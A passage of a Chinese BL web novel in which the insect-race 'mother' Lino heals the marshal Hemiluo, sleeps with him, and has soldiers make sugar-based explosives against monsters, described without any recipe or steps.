赫弥珞决定尽快解决这件事，只要利诺同意，他会把利诺安然无恙地送回去。 “你是这群虫子的王？”赫弥珞开口。 利诺：“准确的说，我是他们的虫母。” 即使这个名字有种当男妈妈的感觉，利诺也在传承中接受了这个称谓。 毕竟每个族都有每个族对掌权者的称呼，人类古代叫皇帝，现代叫总统，而虫族就是虫母。 他仔细环视对面的怪物，除了没有意识海，利诺可以确定，赫弥珞就是货真价实的虫族。 赫弥珞隐晦看了眼利诺凸起的喉结：“离开这里，我不会再让我的同族骚扰你们。不然，我只能不计一切代价地将你和你的族群赶出去。” 利诺索性开门见山：“当我的虫，赫弥珞。你想做什么，我能实现的都可以给你，权力？财富？” 五官精致的青年用漂亮的眼睛温柔地包裹赫弥珞：“你属于虫群，回归虫群吧！” 赫弥珞差一点就答应了，因为利诺的语气太惑人，他很难拒绝。 可是丢失的记忆、空荡荡的内心以及无可落脚的分裂感，种种复杂令赫弥珞头痛欲裂，熟悉的狂暴即将冲碎理智。 他站起来：“我给你两天时间考虑，两天后，如果你仍旧不答应，后果将不是你可以承担的。” 电子门自动合上，利诺也不急，而是拄着侧脸，闭上眼。 【安瑟姆！】他联系了他最可靠的下属，【怎么征服一只不愿意跟着你的虫族？】 安瑟姆卡壳好久，才肯动道：【冕下，我无法解答您的疑问，不会有虫族会狠心拒绝您，我们只会满足您的一切指令。】 利诺自言自语：“难道赫弥珞真不是虫族？不可能啊！” 身为虫母，对虫群的掌控是绝对的，他的感觉不可能出错。 【冕下，您什么时候回来？】不在利诺身边，安瑟姆担忧地询问。 【很快！】 利诺和安瑟姆聊了一会儿，便从房间走出。 作为被“绑架”的受害者，利诺在这间科研所逛起来，他先是去了关上尉的屋子。 这几只虫族是被打晕的，直到现在都没有完全清醒，利诺挨个安抚了他们不安的意识海。 “砰砰砰——”急躁的撞击吸引了利诺的注意，他感受到不舒服的气息，斑驳紊乱，有赫弥珞的，也有…… 利诺再度感受，不敢置信地嗅到了虫兽的味道，也许他不能快速且准确地分辨出每一只虫子的气息，但他可以认出每一只喂过他蜜液的虫族的气息！ 来不及想为什么被带走的虫兽又出现在迷雾之门内，利诺快步走到一间铁门前。 铁门和其他房间的门格格不入，不是电子门可以感应打开，也不是普通的可以推开的门。 利诺后退两步，一脚踹向门，纤细秀气的腿蕴含着不小的力量，足以将一扇厚重的铁门与四周的焊接点踹断。 门哐当砸到地上，利诺终于看清全貌。 赫弥珞半边是英俊的人形，半边是丑陋的虫兽，他们互相攻击、互相吞噬。 而无论是哪一边受伤，双方都会产生痛苦的神情，极会忍痛的虫族却无法遏制地嘶鸣，并在剧痛中企图继续杀死对方。 利诺仿佛和赫弥珞、虫兽在某一刻达到共感，他切身感受到赫弥珞和虫兽的痛苦。 眼眶红着，利诺走上前，放出柔和包容的精神力触角。 半人半虫的怪物短暂停下争斗，茫然又渴望地看向不断靠近他们的利诺。 “妈妈……” 赫弥珞和虫兽的声音叠合在一起，他们的语气委屈痛苦，他们在乞求母亲的安慰。 利诺张开手，将怪物拥进自己的怀里，此时此刻，雄虫不是他认定的下属，而是他的子嗣与他的繁衍对象。 “乖哦！”利诺轻声哄着痛苦的怪物，即使没有相关的传承，也不知道赫弥珞是什么原因，可他天生就知道怎么修复这种分裂。 虫母用磅礴的精神力将自己与子嗣链接，他寻觅到了雄虫几乎碎成粉末的意识海。 赫弥珞不是没有意识海，只是他的意识海碎得太彻底，以至于利诺不动用全部的精神力就不会感受到。 狰狞的怪物身形过大，而虫母又是那么小，怪物不得不弯下膝盖和腰，才可以抱住妈妈的腰，把虫头勉强依偎在妈妈纤弱的身躯上，依靠妈妈的味道暂时抚慰无边的痛苦。 当一只虫族的意识海彻底破碎，这只虫子必死无疑，可赫弥珞情况特殊，他没有死成，甚至在大多数时间都有理智。 这就给了利诺修复他意识海的机会，只是修复碎裂的意识海对于现在的利诺来说并非易事。 利诺需要找到那些散落在赫弥珞四周和身上各处的碎片，然后按照原本的形状拼合，这是很大的工程量。 他必须全神贯注，将所有的精力用在这上面，索性虫母的优势得到体现，虫族的意识海就算碎成片也本能亲近他。 饶是如此，利诺花费了整整一天一夜，才将最后一颗碎片拼上。 利诺完全脱力，跌倒，而恢复成拟态人形的赫弥珞及时接住他。 他们的姿势得到交换，现在是利诺躺在赫弥珞身上了。 赫弥珞张开银白的翅翼，情绪浓烈，利诺看不懂。 意识海彻底得到修复的雄虫搂着挚爱的虫母，低声：“冕下……” 利诺咽了咽口水，盯着赫弥珞淡淡的唇，无力道：“兄弟，你好香！” 第28章 利诺本来就因为屡次被打扰而没有完全吃饱，现在又为了修复赫弥珞的意识海花费了一天一夜。 他现在不仅饿，而且意识海中央的那颗古怪的树也略微有些枯萎，悬挂其中的果子外表莹白的色泽黯淡。 救回一只意识海安全破碎的虫族对现在的利诺来说，还是太勉强了。 但利诺现在意识到，原来当他陷入虚弱期，食欲会前所未有的旺盛，口水分泌，蠢蠢欲动。 银灰的竖瞳倒映上一只优质虫族的身影，他不只有外形的优越，还有基因的优势。 利诺想吃掉这只强大的虫族，这样，他会孕育出更优秀的…… 隐藏在利诺血脉内的本能在虚弱期压倒了他的理智，他缓缓抬起手，似乎是要抚摸赫弥珞。 “冕下，您还好吗？”赫弥珞见状连忙低下头，充满了担忧和自责。 活了很多很多年，赫弥珞一直靠着绝对的理智和无可比拟的战斗力带领无主的虫族销毁钥匙、驱散迷雾。 他没有想到即将走到生命尽头的唯一一次任性，竟然让这位虫族期盼千年的虫母陷入到这样过的境地。 他只是，想在死亡前见一次利诺，将利诺的身影铭记在心，然后心满意足地死去。 赫弥珞不值得虫母这样对待，他匆忙把多年前分裂出去的半身强制融合，只为了趁这段暂时稳定的时间向利诺献上最后的忠诚。 却没想到迷雾突兀出现，他的意识再度混沌，再醒来时，却是虫母冕下脸色苍白，补好了他的意识海…… 他的意识海糟糕到了什么程度，赫弥珞比谁都要清楚，将几乎是粉末的意识海修补到他的全盛时期，简直不可思议。 光看此时利诺不对劲的状态，赫弥珞就知道冕下一定是付出了极大的代价！ 赫弥珞惶惶道：“冕下，得罪了。” 焦急如焚的雄虫重复当初虫兽喂食利诺的方式，将长长的口器从利诺的口腔伸出，将他自身特有的治愈浓缩液喂食给利诺。 他期翼这样做可以奏效。 然而利诺并未好转的脸色让赫弥珞意识到他的想法太过不切实际。 再也没有其他可能治愈虫母的方法了。 赫弥珞的心情大起大伏，在其他虫族眼里内敛冷肃甚至可怕的元帅此时嘴唇颤抖，已然有崩溃的趋势。 他将瘦弱的利诺搂得更紧，低下头，贴在利诺的脖颈处，几滴湿润打湿细腻的皮肤。 赫弥珞哑着嗓子：“冕下，对不起，都是我的错，我不该因为只想满足我自私的想法来见您……” 忏悔并未说完，雄虫的嘴被终于抓住赫弥珞头发的利诺紧紧咬住。 利诺很饿，他要吃了这只虫，但仅有的理智告诉他，这虫是他看上的下属，不能死。 那利诺只能委屈委屈自己，只吃那么一点点！ 趁着赫弥珞呆愣时，利诺用牙齿磨着雄虫的唇，他的牙不像其他虫族那样尖锐，反而要钝得多，他废了很大的力气才在赫弥珞的嘴巴上咬破了皮。 血丝冒出，利诺急迫地将那点舔舐干净，又不知足地用唇舌挤压那处伤口，将更多的血顺着卷曲的舌吞进。 优质雄虫的血对虫母同样是绝佳的食物，只是利诺并不是很喜欢血液的味道。 他更喜欢虫族生长翅膀的肩胛骨处分泌的蜜液。 “唧唧歪歪个什么！”利诺不耐地嘟囔，在赫弥珞的嘴角留下几个牙印。 靠汲取到的血液，利诺有了点力气，他一把推倒赫弥珞，坐在了雄虫的小腹上。 虫母本就精致的面孔泛着淡淡的粉，殷红的眼尾上挑，媚态尽显，不多，却让他身下的赫弥珞顿觉口干舌燥。 利诺是绝对的主导者，他自高而下俯视赫弥珞，然后略微满意地命令：“脱掉衣服，给我把翅膀露出来。” 从来都是给别的士兵下命令，赫弥珞是第一次被不客气甚至带着丝蔑视的命令。 他不仅不生气，反而手指颤抖——过于兴奋，来不及一件一件脱，直接一把撕碎。 英俊的雄虫把健壮有力的身材展现给利诺看，根本不介意利诺那犹如在菜市场挑到满意猪肉的实质性目光，将分泌出蜜液的翅膀伸到利诺的嘴边。 他近乎谦卑：“冕下，请您享用我。” 赫弥珞的喉结滚动，体内的血液沸腾，让他在恒温的环境下渗出薄薄的汗，属于雄虫动情的气味在不大的空间内蔓延。 利诺不在意赫弥珞难不难受，他要率先满足他的食欲，不客气地攥住虫族的翅膀，将甜甜的蜜液送入口中。 然而赫弥珞由于分裂出去的虫兽多年流失在迷雾之门内，再加上破碎的意识海，早就多年没有分泌蜜液的能力。 就算此时本体回归完整，意识海得到修复，但临时分泌的蜜液极其有限。 利诺只吃了几口就没了，无论他再怎么咬虫族的翅膀、挤压他的分泌腺，也依旧没有他需要的食物。 赫弥珞被利诺一系列的举动弄的呼吸粗重，被汗打湿的发尖贴在巧克力色的皮肤上，却偏偏顾及身上的利诺而不敢动，整只虫狼狈不堪。 利诺不满：“就这么点？你是不是虫？做过分泌腺切割手术？” 利诺第一次见这么没用的虫！连点蜜液都分泌不出来！ 莫非赫弥珞没有他想象中的那么强大，只是外强中干？ 被虫母冕下一副“你不行”地盯着，赫弥珞狼狈地闭上眼：“对不起，冕下，是我太没用。” 他企图抱着利诺站起来：“冕下，我、我带你回基地，让安瑟姆他们喂食……” “我让你动了吗？”利诺皱眉，赫弥珞停下动作，眼巴巴地望向利诺，像只听话的银毛小狗。 利诺眼神微动，他勉强填了个底的食欲再度旺盛起来。 坐在虫族结实的小腹上，利诺俯身在赫弥珞的嘴上又是狠狠一咬，唇舌停留在新的伤口上吸吮血液。 利诺的眉皱得更深，他实在不喜欢血液的味道，一点都没有各种滋味的蜜液好。 略微思忖片刻，利诺想到了可以补充食欲、甚至可以让意识海内的树以及果子成熟的另外一种方法…… 虽然他此前一直很排斥，但是现在思维却是转了个弯。 其实生活在末世中的人普通道德素质不高，大部分人都会因为那时刻存在的危机和死亡风险而奉行即时享乐的准则。 利诺不喜欢那些幸存者随时随地的欲望宣泄，但不可否认，他被潜移默化地影响了。 即使利诺认为只有相爱才可以做更加亲密的事，但认为是一件事，实践起来又是另外一件事。 毕竟他虽然觉得亲吻很神圣，但纠结一会儿，最后仍旧不会拒绝和拉斐尔通过接吻进食来吃饱的法子。 利诺舔着嘴角，虽然没经验，但是他的潜意识告诉他，雄虫本身比蜜液更补。 “冕下……”赫弥珞发现利诺周身的味道发生了改变，那种甜到骨子里的味道在邀请他，轻易调动赫弥珞的全部感官。 利诺将手放到赫弥珞的腰带上，轻轻地扯断，继而是裤子。 他居高临下：“不许动，赫弥珞，我需要你。” 赫弥珞睫毛颤抖得厉害，口腔干燥得要命：“冕下，您、您知道您在说什么吗？” 高级虫族依然被这巨大的惊喜砸晕了头，他做梦都想不到，利诺冕下想和他亲密。 利诺眯眼，恶狠狠地威胁：“你不同意也晚了，我可是因为你才变成那样的，你得让我上！” “我……”赫弥珞激动得说不出话。 他怎么会不同意！他可太同意了！他一定会好好表现的！ 然而利诺没给赫弥珞那个机会，他回忆着上辈子意外看过的几本小书，摸索实践。 为了不让赫弥珞逃脱，利诺把赫弥珞的衣服碎片拿过来绑住了雄虫的双手。 可怜的赫弥珞被利诺不紧不慢又生疏的动作折磨得天堂和地狱不断交替，然而冕下又下了命令不让他动，他就算可以挣脱绳索也不能挣脱。 更何况，赫弥珞比利诺还不如，利诺好歹有点理论知识，赫弥珞则在这方面上完全空白，他只能先被利诺教导，接着依靠雄性的本能使劲浑身解数迎合小虫母。 不直到过了多久，利诺趴在赫弥珞的胸肌上，疑惑：“也不怎么样啊……”为什么上辈子的人会那么热衷？ 赫弥珞完全被利诺弄的不上不下，他深吸了一口气：“冕下，我可以解开绳子了吗？” “唔，可以。”利诺不以为意，反正他的目的已经达到了，汲取到了足够的优质基因。 下一秒，赫弥珞将利诺压在身下，他的眼眸深邃却充斥着让利诺发麻的意味。 “怎么？你还想打我？”利诺不解风情，理直气壮地质问。 赫弥珞的眼神晦暗，情绪更加高涨。 小蝴蝶能屈能伸，发的了威，也卖的了惨，他立马摆出可怜的神情：“赫弥珞，你知道的，我不是故意强迫你的，我只是想恢复因为给你修补意识海耗费的精神力。” 漂亮的青年泫然泪泣，水光潋滟，利诺很擅长装弱势的一方。 赫弥珞叹息，低头吻在虫母的额头，声线沙哑：“冕下，我永远不会伤害您。” “只是，您可以再满足一下我吗？”赫弥珞的气息打在利诺的耳边，“我保证，您会很舒服。” 自己操作只觉得疼和不适的利诺有几分意动，他思考了几秒：“可以。” 他搂住赫弥珞的脖颈，仰着下巴：“但你要成为我的下属！以后我指哪你打哪！” 雄虫虔诚地吻上利诺的唇：“冕下，我早就是您的了。” 爱语消弭在紧贴的唇边，意识沉沦……利诺终于明白为什么有的人会痴迷这种事情！ 利诺总结他的收获，他不仅很爽，而且还得到了只强大的虫族为他效命，意识海再度扩大，树长高到三米。 太值了！利诺乐滋滋地想。 察觉到他走神的虫族舔着虫母的耳垂，张开的巨大银翼将他们包裹起来，和利诺因为舒服而伸展的蝴蝶翅膀摩擦…… 在基地的虫群迟迟不见虫母冕下的归来，唯一得到虫母许可可以联络的安瑟姆已经两天联系不上利诺了。 他一方面不住忧心，每时每刻都在通过意识海确认利诺的状态，一方面又因为冕下临走前的命令而只能在基地等待。 拉斐尔走来走去，焦躁不安：“安瑟姆，还没有联系到冕下吗？” 安瑟姆捏紧拳头，摇头。 “不行，我要去找冕下！”包括拉斐尔在内，所有的虫族都是极度的不安和惶恐。 他们无法忍受在短暂拥有虫母后又要失去，虫群绝对会绝望地发疯！ 安瑟姆：“冕下临走前说，要我们在这里等他，不能够擅自去怪物聚集的地方找他。” “问题是冕下现在音讯全无。”拉斐尔烦躁地扯掉眼镜，对安瑟姆道。 安瑟姆同样不安，但他从小的教育便是效忠虫母冕下的一切命令，无论合理还是不合理。 他保持沉默，只是凝望利诺离开的方向，通过意识海一边又一遍地呼唤他的冕下。 【喂，安瑟姆！】在数不清多少遍的呼唤后，安瑟姆的意识海终于久违听到了利诺的声音。 利诺平时的声音偏向清朗的少年音，刻意夹起来就是小甜嗓，而现在则是带了几分哑意的餍足。 安瑟姆猛地站起来：【冕下我很乖，我没有带虫群找您，但是我很担心您……】 利诺一边让赫弥珞帮他穿衣服，一边安抚急到要哭出来的护卫长：【我现在立马回去。】 说话间，利诺瞪了赫弥珞一眼，自知理亏的赫弥珞低眉搭眼，为利诺清洗干净，又为他换上干净的衣物。 爽是爽，但是多了屁股遭不住，就算恢复力强，也需要时间，利诺懒得走路，直接让赫弥珞抱他往回走。 比起神情爱慕和痴迷的赫弥珞，利诺虽然对身为赫弥珞一部分的虫兽有好感，但在利诺这里，他更看重自己的地位和权柄。 利诺提醒：“先去看看上尉他们醒了没？” 见赫弥珞神情疑惑，利诺提醒：“就是被你打晕的几只虫族。” 他似笑非笑：“原来赫弥珞就是传说中威名赫赫的元帅哇！” 赫弥珞苦笑：“冕下，擅自带走虫兽确实是我的错，不过虫兽是我曾经遗失在迷雾之门的一部分，我当时迫切需要融合他暂时稳定我的精神，然后来见您最后一眼。” 高级虫族垂眸，神情地凝望利诺：“我想见您很久很久了。” 自他知道虫族应该有虫母时，他就在期盼虫母的降临；在他听到利诺于精神链接时发出的问好时，他便知道，虫族唯一无二的无价珍宝终于诞生了。 利诺睨了赫弥珞一眼，没说话，指尖敲打赫弥珞的肩膀：“你现在还可以控制外面那些怪物吗？” “不行。”赫弥珞解释，“我进来时，因为身体状况被判定为怪物一方，但被您修复好意识海后，我已被门剥夺了这个身份。” 现在怪物之所以没有闯进来，只是赫弥珞还未彻底消散的余威在起作用。 因此在利诺拒绝他的又一次求欢后，赫弥珞没有软磨硬泡，而是准备带利诺离开。 赫弥珞的话引起了利诺的注意：“你的意思，好像在说门是有智慧的？” “不算是意识，门代表的应该是一种规则。”赫弥珞摇头，把他多年驱散迷雾得到的发现告诉利诺。 赫弥珞皱眉：“我总觉得，这里的世界都是真实存在过的，因为迷雾而形成幻像。但是我一直没想明白，为什么会有迷雾，迷雾为什么又要让我们销毁钥匙。” 虫族元帅都不知道，那利诺这种第二次进入的更不知道了。 好在以上尉为首的几只虫族虽然被失忆状态的赫弥珞打得极重，但在被利诺安抚意识海后，伤轻了许多。 在利诺进来后，上尉刚刚清醒，被敲晕前的记忆混乱，在见到虫母时立刻喊：“冕下，这里危险，您快走！” 看到抱着虫母的赫弥珞，上尉把他和记忆力打晕自己的虫族联系在一起，而赫弥珞虽然许多年没有出现在军部，但上尉记得他的脸。 不断遭受冲击的虫族士兵怔愣：“元帅阁下？” “事情比较复杂。”利诺安抚好上尉动荡的意识海，“现在你们先回去。” “……遵命，冕下！”几只虫族士兵迅速离开。 利诺没急着让赫弥珞带自己走，而是问他：“你还能震慑怪物多长时间？” “大概十分钟。” 十分钟可能来不及搜索整个怪物聚集地，利诺遗憾道：“算了，咱们先走。” 在高空中，或大或小的虫兽如同芝麻般拥挤占据一大片土地，利诺烦恼道：“要是有炸弹就好了，这样清理怪物就容易多了。” “冕下，迷雾之门内无法带入热武器。”赫弥珞补充。 “我知道，我笔试成绩很好的！”利诺在赫弥珞怀里调整了姿势。 突然，一个天才的点子出现。 利诺直视雄虫，声音幽幽：“那迷雾之门允许带入白糖吗？” “理论上，应该可以。”赫弥珞不明白利诺为什么要这么问。 利诺笑得如同小恶魔，邪恶猖狂，落在赫弥珞眼里就是可爱：“我有办法了。” 赫弥珞没忍住，和虫母亲密过的他比起其他虫族少了几分克制，他顺应心意地吧嗒一口，亲在青年的脸颊上。 “哼！”小蝴蝶得意，直白道，“赫弥珞，你肯定被我迷死了！” “冕下说得对，我为您神魂颠倒。”赫弥珞在利诺脸颊的另一侧留下对称的吻。 第29章 回去的路上，利诺也没有闲着，和强大雄虫交/配后的虫母精神力更加壮大，他不需要再闭眼进入意识海去勾连星点。 利诺的心神微动，眼前会出现只有他看见的，聚集在迷雾之门内、散布在宇宙四大星系中的所有虫族的意识。 他的意识横贯在所有虫群之上，并以绝对的掌控力勾连全部的虫族意识。 无论是在现实，还是没有实体的意识海内，利诺都是不容置疑的主宰。 虫瞳滑动，虫母的精神丝线连接到几光年之外的蓝星军部，下达虫族无法拒绝的命令。 利诺将自己要的东西告知目前坐镇蓝星最高军部的希尔维乌斯。 迷雾之外，军部的所有士兵犹如精密的仪器，高效准确地运行 他们不会质疑来自虫母的任何要求，哪怕冕下要的东西听起来极其荒谬，大量的可食用白糖，以及一些不常用的化学品。 利诺满意地靠在赫弥珞的肩膀上，虫族的科技水平极高，其热武器基本由能源矿石驱动，并不依赖化学反应。 前者可以在不同的星球环境中使用，而后者则因为各种缺点而被摒弃，就利诺所知，虫族继承和发展的之前灭亡种族的科技内并没有他上辈子经常用的热武器。 在核实这迷雾内的环境和蓝星所差无几后，利诺就有了一个大胆的想法，虫族不知道白糖可以做炸弹，但有上辈子记忆的他是知道的…… “冕下！” 赫弥珞抱着利诺回到虫群驻扎的基地，安瑟姆和拉斐尔率先赶来。 这两只虫子在看到赫弥珞的脸时愣了下：“元帅阁下。” 赫弥珞扫视他亲自选拔出来、为虫母存在的护卫队队长，以及总结前几任衣鱼研究率先提出虫母存在论并得到他的认可和授权的最高军部参谋长：“安瑟姆，拉斐尔，好久不见。” 拉斐尔保持镇定地戴上眼镜：“元帅，我需要知道发生了什么。” 他闻到了从赫弥珞身上传来的、属于利诺的香甜味道。 那种味道不是单单拥抱利诺就会染上的，除非是……更深层次的亲昵。 拉斐尔骨节发白，按着脸上的镜框，将其扭成了麻花。 准确来说，拉斐尔和赫弥珞的军衔和职位是相互制约的，他以并不客气的语气和赫弥珞说话并不算冒犯。 赫弥珞带着淡淡的笑容：“如你所想的那样。” “……恭喜冕下和元！帅！”拉斐尔扔掉坏的眼镜，从口袋又掏出一副完好的眼镜重新戴上，咬着牙祝福。 赫弥珞挑眉：“谢了，拉斐尔。” 利诺茫然望过去，完全没有察觉两只雄虫之间的隐晦交锋，他正忙着哄落寞的护卫长。 安瑟姆一直以来都很老实可靠，他没有高级虫族的坏脾气，更多的时候，他都表现得温柔体贴，照顾利诺也极其细心。 现在的安瑟姆却难得流露着委屈，眼尾下垂，像是被坏主人突然抛弃的流浪狗：“冕下，我太担心您了！您好几天都没理我！” 利诺摸摸鼻子：“哎呀，安瑟姆，我是有原因的。” “不管什么原因，冕下，以后请务必不要丢下我，让我能够始终跟着您！”安瑟姆执拗道。 利诺联想到一些脸红心跳的缠绵画面，又摸摸鼻子，他没有让别的虫看他的爱好…… “冕下……”安瑟姆丧气极了，垂着头低低哀唤。 利诺的心立刻被安瑟姆喊得软下来，他没有意识到，受到意识海内成功孕育中的果子影响，他对所有的虫族都带着莫名的滤镜。 一向不哭不闹的护卫长偶尔乞求他一次，利诺发现他完全拒绝不了。 利诺靠在安瑟姆的身上，无可奈何：“行吧行吧，我尽量保证。” 安瑟姆吸吸鼻子，握住了利诺的手腕，从空间囊里拿出治愈液体轻轻抹在泛红的掌心。 那是利诺第一次“墙纸”赫弥珞时，太过用力按着赫弥珞造成的。 性格使然，安瑟姆并不像拉斐尔那样破防，他知道利诺不是属于一只虫的，他是整个虫群的母亲。 安瑟姆的要求很低，只要他可以一直待在利诺身边，无所谓利诺要不要他服侍，也能够很快接受冕下宠幸其他虫族的现实。 “冕下，身上有伤口吗？”擦好手掌，安瑟姆又问利诺，他不悦地说，“元帅阁下太不懂得怜惜您了。” 他扭头：“元帅阁下，您需要学习如何最好服侍冕下的相关课程！” “我会的。”赫弥珞回答安瑟姆的抱怨，但更像是对利诺说的，“我会保证冕下获得最好的体验。” 拉斐尔温和道：“这种事情是需要天分的，冕下，我认为您可以再考虑考虑其他的虫族。” 他朝利诺极力暗示推销自己。 奈何利诺根本听不出来他话里的意思，茫然不解。 赫弥珞径直走过去执起利诺的手：“冕下，我觉得我天分很高，您觉得呢？” 三只雄虫一场戏，把自诩为脸皮不薄的小虫母搞得直接红温了。 天啊，这些虫族在说什么！这是能够在光天化日下说的吗！ 利诺的脸颊温度升高，有些羞愤：“都闭嘴听我说话！” 烦死了，这种事有什么可较真的！利诺轻咳一声，说起正事：“我让希尔维乌斯负责，带一些东西过来。” 他看了看腕表，估计明天可以送来：“拉斐尔，你去找一些有科研经验、上手过仪器制造的士兵来，我要先教他们做些东西。” “遵命，冕下。”拉斐尔不死心，也只能领命照做。 利诺接着喊赫弥珞，丝毫没有和雄虫在几个小时前接吻的黏糊：“你最熟悉怪物聚集地的构造，等**制造出来，你领着一队虫族从天上把炸药丢下去，要确保炸掉最大数量的怪物。” “遵命。”赫弥珞轻启薄唇，唇角被虫母咬出的两个伤口扯动，溢出血丝。 利诺看不下去，示意安瑟姆把剩下的治愈剂给赫弥珞：“顺便把你伤口擦一擦。” 他明明是只善良负责的小蝴蝶，赫弥珞明明有治愈能力却还顶着那俩伤口有什么用心？向其他虫族展示他的残暴？把他拉下去？ 利诺警惕眯眼，眸光不善，因为虫兽的缘故，他对赫弥珞有好感不假，但要是赫弥珞威胁到他的地位，他照样会把赫弥珞丢去荒星挖矿！ 赫弥珞太冤枉了！他只是想让小虫母留给他的痕迹再长一些，这伤口不过是冕下爱他的痕迹！ 打发走赫弥珞，利诺搂住安瑟姆撒娇：“安瑟姆，还是你最让我放心！” 护卫长将他抱进放置屋内的床上，熟练地从空间囊拿出储存的小甜点和果汁：“冕下，要来一点吗？” “当然！”利诺甜甜地笑，他的食欲是能靠其他虫族的蜜液满足，但是平时的零食是用来满足口腹之欲的，也不能少。 制造炸药的操作步骤不算简单，只是那些有进入科研所学习过的虫族上手起来并不难。 利诺不用太费力，各方面能力都不低的虫族已经弄清楚了其中的原理，只需要实践一两次就可以完全掌握。 夜已深，习惯每天睡觉的利诺打了个哈欠，扯了扯安瑟姆的衣角，安瑟姆将尾钩显化。 漂亮的蝴蝶栖息在上，陷入沉睡。 确保利诺睡着，沉默的虫族才施舍了些视线给门口的赫弥珞。 银发黑皮的英俊雄虫不动声响地走入房间，第一眼就是触角一动一动的小蝴蝶。 他亲手摸过那对璀璨的翅膀，在利诺颤抖时，从一对蝴蝶骨处展开。 在小虫母因为赫弥珞的动作太重而有些失神，赫弥珞就会轻柔地抚摸他那对极其精致的虫翼，从完全透明澄澈的部位，滑到尾翼上仅有的两抹红晕上。 然后赫弥珞就会看到同样的红浮现在身下青年的胴体上，与瓷白相互映衬，是赫弥珞此生见过的最美的景色。 虫族没有这样的品种，但他们知道，他们虫母冕下的虫型与古蓝星一种叫蝴蝶的昆虫相似。 那样脆弱美丽的生物早已灭绝，没有幸运地在迷雾的侵蚀中像某些昆虫那样变异进化成虫族，仅有寥寥无几的影像储存在蓝星的科研院内。 但是那几段影像内的蝴蝶都比不上利诺冕下，小虫母的美丽超越一切，他会成为一个永恒的符号，刻在虫群的基因和传承中，永不磨灭。 安瑟姆压低声音：“元帅阁下，冕下已经睡着了。” 赫弥珞点头，但依旧坐在距离利诺最近的椅子上，凝望利诺。 他同样用极其细微的声音问：“你有看到吗？” 赫弥珞不是炫耀，他只是如实描述：“冕下似乎，孕育了我和他的子嗣。” 这只严肃、不苟言笑的虫族浮现淡淡的笑意：“我感觉到了。” 与众不同的使命感驱使赫弥珞时刻守护孕育他子嗣的虫母，他不知道利诺是以何种方式进行孕育，以科技手段诞生的虫族没有相关经验。 赫弥珞感到陌生和不知所措，他其实并不关心那些虫蛋，虫族没有亲情，虫族唯一的柔软只会属于虫母；他只关心他的小蝴蝶，他只爱他的小蝴蝶。 但他可以用精神力感受到那些蛋，那些汇合了他基因的虫蛋。 赫弥珞的情绪复杂，凝视小蝴蝶的目光越发柔和缠绵。 安瑟姆紧张起来，就连拖着利诺的尾钩也僵直一瞬。 有了虫蛋的冕下……即将繁育子嗣的妈妈……安瑟姆的喉头发紧，他不再尝试驱赶赫弥珞。 毕竟妈妈有了赫弥珞的孩子，或许赫弥珞的气味会让妈妈睡得更加安适。 被从小教导的安瑟姆有些失落地低头，他的内心不可避免地泛起嫉妒的情绪。 他不该嫉妒，他被告知他应该全身心地忠诚虫母冕下，他应当是冕下最好用的工具，可是他既然深爱利诺冕下，又怎能不嫉妒好运的赫弥珞！ 紧随赫弥珞其后、但没有走近屋内的拉斐尔听到了这段对话，冷哼了声，再次争分夺秒地研究与争宠相关的书籍。 他之前的想法错了，前蓝星种族和虫族是两个不同的族群，妈妈这个称谓代表的意思也不一样，他不应该看有关母爱方面的树，而应该看情爱方面的。 拉斐尔找到了一本残缺古籍，后宫丽妃传，这是本争夺皇帝宠爱的书。 或许，他可以从中找到获得冕下宠爱的方法！ 利诺早上活力满满，和身边的下属互道早安，出来看到拉斐尔。 拉斐尔在看他腕表储存的古籍，时常笑眯眯的俊脸眉头紧锁，仿若遇到了什么天大的难题。 好奇心旺盛的小蝴蝶凑过去，拉斐尔居然都没反应过来，于是利诺看到了拉斐尔做的笔记。 【争宠方式：给其他宠妃下毒；假孕争宠，假装流产嫁祸其他妃子；狂徒与鸳鸯肚兜……】 利诺惊到睁大了眼，夭寿了，他看到了什么？！ “拉斐尔！”利诺的惊呼打断了正在沉思这些行为可能性的拉斐尔。 衣鱼手忙脚乱把腕表的投影关起来，失掉以往的风度和从容：“冕下，我不是、您误会了！” 再怎么不喜欢那些与他争夺利诺宠爱的虫族，拉斐尔肯定不会做出这种置虫于死地的坏事。 这位军部的参谋长虽然心眼多，却是一只难得有道德感的虫族。 拉斐尔顶多只是想想！他可不想让冕下误会他是只坏虫子！ “参谋长！”利诺这时冷声叫着拉斐尔的军衔，拉斐尔下意识立好军姿，军部制服勾勒出他不亚于其他雄虫的完美身材。 开了荤的小虫母的眼睛在顶着军服的肌肉绕了一圈，再度抬头看向心虚的拉斐尔，嘴角扬起灿烂的笑。 他朝拉斐尔伸出手，撒着娇：“给我也看看这本书我，好像很有趣！” “……”拉斐尔被利诺的变脸打得猝不及防，又被青年那张极度惑虫的笑脸迷得找不到北。 他压根没思考，就将那本后宫小说通过腕表传给利诺。 “谢了，拉斐尔！”利诺拍拍衣鱼的胸肌，他够不到拉斐尔的肩膀。 收起书，利诺似有所感地抬头，就见一群虫族士兵从高空飞来，每只身上都携带着巨大的包裹。 “冕下日安！”这些士兵带着利诺要的东西，从迷雾之门顺利进入虚构的小世界。 时间比利诺估计的早很多，拥有虫母的虫群在各类行动中只会更加高效。 “拉斐尔，把昨天学习的虫族都叫过来，我给他们演练一遍。”利诺迫不及待，检查士兵分类好的各种简易设备和材料上。 没有任何问题，等虫群汇集，利诺已经备好需要的材料。 虫群的目光一半呆呆凝视虫母认真的侧脸，一半出神凝望虫母那双好看细腻的手指，然后整齐地咽了咽口水。 再不咽口水，虫群就要集体流口水了。 “咕咚——” 利诺停了下，抬头疑惑扫视周围的虫族，奇怪，刚刚什么声音？ 找不到声源，利诺低下头继续制作，这种杀伤力不小的东西制作起来很危险，必须全神贯注、不能分身。 很快，一个简易但威力不小的小球被制作出来，多年没做，利诺有点手生，好在成功了。 他的眼睛亮晶晶的，兴奋地让身边的一只护卫去实验。 护卫照做，随着虫族小心的飞起来，将手中的物件丢下，剧烈的爆炸响起，地表颤动，烟雾缭绕。 这与虫族那种动不动可以毁掉一颗星球的高科技武器根本没法比，但在不允许热武器进入的迷雾之门内，这种炸药就理所当然地成了消灭怪物的关键。 在此之前，虫族老老实实用刀剑杀怪，还从来没想到原来可以这样。 短暂的寂静后，安瑟姆率先出声，喉结滚动：“冕下……” 他的目光炽热，虫群内的每一只虫族都目光炽热地盯着中间的青年。 被虫族的目光洗礼，利诺得意叉腰，口头还谦虚道：“哎呀，一般般啦，我也就是突然灵光一闪！” 要利诺说，虫群就是太认死理了，一点不懂钻漏洞。要知道他们上辈子为了杀完无穷无尽的尸潮，什么方法都能想出来，无所不用其极！ 